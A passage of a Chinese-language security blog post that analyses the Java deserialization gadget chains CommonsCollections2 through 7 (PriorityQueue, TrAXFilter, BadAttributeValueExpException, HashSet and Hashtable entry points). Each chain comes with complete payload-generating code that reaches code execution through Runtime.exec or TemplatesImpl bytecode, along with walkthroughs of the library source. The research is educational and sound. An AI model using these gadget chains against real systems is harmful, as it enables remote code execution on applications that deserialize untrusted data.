        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            ...
        }
    }

CommonsCollections2分析

与CommonsBeanutils1类似,通过PriorityQueue反序列化的时候会对队列中的元素使用比较器的compare方法去处理

CC2使用org.apache.commons.collections4.comparators.TransformingComparator#compare进行比较

利用payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = getTemplateImpl();//生成待调用的TemplatesImpl
        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
        TransformingComparator comparator = new TransformingComparator(transformer);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(transformer, "iMethodName", "newTransformer");
        setFieldValue(queue, "queue", new Object[]{templates, templates});//写入TemplatesImpl
        Path path = Paths.get("CommonsCollections2.ser");
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
        in.readObject();//模拟反序列化
    }

https://img.mi3aka.eu.org/2023/01/e924338df2093decb833b55e35524f6f.png

TransformingComparator分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package org.apache.commons.collections4.comparators;

import java.io.Serializable;
import java.util.Comparator;

import org.apache.commons.collections4.ComparatorUtils;
import org.apache.commons.collections4.Transformer;
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;

    public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);//this.transformer指向org.apache.commons.collections4.functors.InvokerTransformer
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

InvokerTransformer分析

通过transform函数实现调用任意类的任意方法,通过TemplatesImplnewTransformer达到rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.apache.commons.collections4.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import org.apache.commons.collections4.FunctorException;
import org.apache.commons.collections4.Transformer;

public class InvokerTransformer<I, O> implements Transformer<I, O>, Serializable {
    private final String iMethodName;
    private final Class<?>[] iParamTypes;
    private final Object[] iArgs;

    public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes != null ? paramTypes.clone() : null;
        iArgs = args != null ? args.clone() : null;
    }
    public O transform(final Object input) {
        try {
            final Class<?> cls = input.getClass();//获取input对象的类,input在利用链中被设置为TemplatesImpl
            final Method method = cls.getMethod(iMethodName, iParamTypes);//获得input对象的某个方法,由iMethodName指定,在poc中将iMethodName设置为newTransformer
            return (O) method.invoke(input, iArgs);//函数调用,即TemplatesImpl#newTransformer,进入TemplatesImpl的利用流程
        }
    }
}

CommonsCollections3分析

与CC1的利用链类似,主要区别在于ChainedTransformer所使用的数组不同,同样使用jdk7u80进行复现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public class CommonsCollections3 {
    public static class AbstractTransletExt extends AbstractTranslet {
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
                throws TransletException {
        }

        public AbstractTransletExt() {
            super();
            System.out.println("CommonsCollections3");
        }
    }

    public static TemplatesImpl getTemplateImpl() throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTransletExt.class));
        CtClass clazz = pool.get(AbstractTransletExt.class.getName());
        setFieldValue(obj, "_bytecodes", new byte[][] { clazz.toBytecode() });
        setFieldValue(obj, "_name", "asdf");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        return obj;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templateImpl = getTemplateImpl();
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templateImpl }),
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map hashMap = new HashMap();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);
        handler = (InvocationHandler) constructor.newInstance(Retention.class, map);

        Path path = Paths.get("/tmp/CommonsCollections3.ser");
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
        out.writeObject(handler);
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
        in.readObject();// 模拟反序列化
    }
}

https://img.mi3aka.eu.org/2023/01/ee10b367e7d8473d5b047ef158b62e84.png

TrAXFilter分析

InstantiateTransformer#transformTrAXFilter使用传入的参数进行实例化

TrAXFilter在实例化时会对传入的templates调用newTransformer进行处理,从而实现加载字节码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//org.apache.commons.collections.functors
    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                ...
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);//获取Constructor对象,input为TrAXFilter
            return con.newInstance(iArgs);//对TrAXFilter使用templateImpl进行实例化
        }
    }

//com.sun.org.apache.xalan.internal.xsltc.trax
    public TrAXFilter(Templates templates) throws TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();//进入TemplatesImpl的RCE利用过程
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

CommonCollections4分析

与CC3链类似

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    public static void main(String[] args) throws Exception {
        TemplatesImpl templateImpl = getTemplateImpl();
        ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class}, new Object[]{""});
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, instantiateTransformer});
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chainedTransformer));
        queue.add(1);
        queue.add(1);

        setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
        setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
        setFieldValue(instantiateTransformer, "iArgs", new Object[]{templateImpl});

        Path path = Paths.get("CommonsCollections4.ser");
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
        in.readObject();//模拟反序列化
    }

https://img.mi3aka.eu.org/2023/01/ffe95a6e86cd85a680974cc31f4fc70d.png

通过PriorityQueue#siftDownUsingComparator调用TransformingComparator#compare,然后进入到ChainedTransformer#transform,后续流程与CC3一致

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }
    public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
    public int compare(final I obj1, final I obj2) {//被PriorityQueue#siftDownUsingComparator中的comparator.compare调用
        final O value1 = this.transformer.transform(obj1);//this.transformer为ChainedTransformer,因此进入ChainedTransformer#transform,后续流程与CC3一致
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

CommonsCollections5分析

与CC1类似,但反序列化的入口不同

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"touch /tmp/CommonsCollections5"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map hashMap = new HashMap();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setFieldValue(val,"val",tiedMapEntry);
//        setFieldValue(chainedTransformer, "iTransformers", transformers);

        Path path = Paths.get("/tmp/CommonsCollections5.ser");
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
        out.writeObject(val);
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
        in.readObject();//模拟反序列化
    }

https://img.mi3aka.eu.org/2023/01/81e94cb212b2650b1fc7f8fc11bef759.png

BadAttributeValueExpException分析

通过反射将val设置为TiedMapEntry对象,当满足条件System.getSecurityManager() == null时,调用TiedMapEntry#toString

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
//javax.management
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);
        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null || ...) {
            val = valObj.toString();
        }
        ...
    }

TiedMapEntry分析

TiedMapEntrymap设置为lazyMap,在toString方法中通过getValue调用lazyMap#get,后续流程与cc1一致

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }
    public Object getKey() {
        return key;
    }
    public Object getValue() {
        return map.get(key);
    }
    public String toString() {
        return getKey() + "=" + getValue();
    }

CommonsCollections6分析

与CC5类似,但入口点从BadAttributeValueExpException换成HashSet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"touch /tmp/CommonsCollections6"})
        };
        Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//不是直接使用transformers进行初始化
        Map hashMap = new HashMap();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        hashMap.clear();

        setFieldValue(chainedTransformer, "iTransformers", transformers);

        Path path = Paths.get("/tmp/CommonsCollections6.ser");
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
        out.writeObject(hashSet);
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
        in.readObject();//模拟反序列化
    }

https://img.mi3aka.eu.org/2023/01/81e2f32c3e87bd3355947cd9a2c8f37f.png

HashSet分析

反序列化进入HashSet#readObject,调用HashMap#putTiedMapEntry进行处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
//java.util.HashSet
    private transient HashMap<E,Object> map;
    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        ...
        map = (((HashSet<?>)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor));
        
        for (int i=0; i<size; i++) {
            E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

//java.util.HashMap
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

进入TiedMapEntry#hashCode,然后通过getValue方法执行lazyMap#get,后续流程与CC1一致

1
2
3
4
5
6
7
8
//org.apache.commons.collections.keyvalue.TiedMapEntry
    public Object getValue() {
        return map.get(key);
    }
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); 
    }

与CC5的不同点

CC5是直接使用Transformer数组对ChainedTransformer进行初始化,而CC6先使用空数组初始化,然后通过反射修改ChainedTransformer中的值

因为hashSet.add(tiedMapEntry);这一步骤会造成干扰,HashSet#add同样会调用HashMap#put,会导致触发Transformer数组中的命令

同时HashMap#put会进行putVal操作,如果不进行hashMap.clear();会导致在LazyMap#get方法中不满足map.containsKey(key) == false条件,导致无法触发命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
//java.util.HashSet
    public boolean add(E e) {
        return map.put(e, PRESENT)==null;
    }
    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

//org.apache.commons.collections.map.LazyMap
    public Object get(Object key) {
        if (map.containsKey(key) == false) {//前提条件,在进行hashSet.add(tiedMapEntry)后会不满足,因此通过hashMap.clear()进行清除
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

CommonsCollections7分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"touch /tmp/CommonsCollections7"})
        };
        Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});


        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        setFieldValue(chainedTransformer, "iTransformers", transformers);

        lazyMap2.remove("yy");

        Path path = Paths.get("/tmp/CommonsCollections7.ser");
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
        out.writeObject(hashtable);
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
        in.readObject();//模拟反序列化
    }

https://img.mi3aka.eu.org/2023/01/0c89e66ad9ca7f2b673f0e05563f868a.png

Hashtable分析

reconstitutionPut方法是Hashtable#readObject所使用的put方法,Hashtable在哈希表中存储键值对,因此在readObject恢复哈希表时会对键的hashCodekey进行校验

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//java.util.Hashtable
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
    {
        ...
        for (; elements > 0; elements--) {
            K key = (K)s.readObject();
            V value = (V)s.readObject();
            reconstitutionPut(table, key, value);
        }
    }

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException
    {
        ...
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {//关键逻辑
                throw new java.io.StreamCorruptedException();
            }
        }
        Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }
  1. (e.hash == hash)分析

根据payload,Hashtable的两个键均为LazyMap类型,首先通过key.hashCode()计算键的hashCodeLazyMap#hashCode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class LazyMap extends AbstractMapDecorator implements Map, Serializable{}

public abstract class AbstractMapDecorator implements Map {
    protected transient Map map;
    public int hashCode() {
        return map.hashCode();
    }
}

public abstract class AbstractMap<K,V> implements Map<K,V> {
    public int hashCode() {
        int h = 0;
        Iterator<Entry<K,V>> i = entrySet().iterator();//HashMap类型
        while (i.hasNext())
            h += i.next().hashCode();
        return h;
    }
}

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
    public final int hashCode() {//无法被继承
        return Objects.hashCode(key) ^ Objects.hashCode(value);
    }
}

调用链为LazyMap#hashCode->AbstractMapDecorator#hashCode->AbstractMap#hashCode->HashMap#hashCode

分析得知其哈希值为Objects.hashCode("yy") ^ Objects.hashCode(1) = 3873Objects.hashCode("zZ") ^ Objects.hashCode(1) = 3873

https://img.mi3aka.eu.org/2023/01/25333cb73334e85c8211fe590779e902.png

  1. e.key.equals(key)分析

对键进行比较,即调用lazyMap#equals方法,最终进入HashMap#equals方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class LazyMap extends AbstractMapDecorator implements Map, Serializable{}

public abstract class AbstractMapDecorator implements Map {
    public boolean equals(Object object) {
        if (object == this) {
            return true;
        }
        return map.equals(object);
    }
}

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
    public final boolean equals(Object o) {}//无法被继承
}

public abstract class AbstractMap<K,V> implements Map<K,V> {
    public boolean equals(Object o) {
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())//关键点
            return false;
        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    ...
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        }
        ...
    }
}

value.equals(m.get(key))中,mLazyMap即调用LazyMap#get,后续流程与cc1一致

1
2
3
4
5
6
7
8
9
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

执行lazyMap2.remove("yy");的原因

网上很多分析文章都说是要满足LazyMap#get方法中的map.containsKey(key) == false判断,因此要进行lazyMap2.remove("yy");

但实际上,在注释lazyMap2.remove("yy");这行代码后,反序列化链将在AbstractMap#equals中止,因为不满足if (m.size() != size())而返回false

m.size() = 2size() = 1

https://img.mi3aka.eu.org/2023/01/25c41c4afc0514c8293b86a0976535e7.png

https://img.mi3aka.eu.org/2023/01/6620632b259af0cb19cf908989585842.png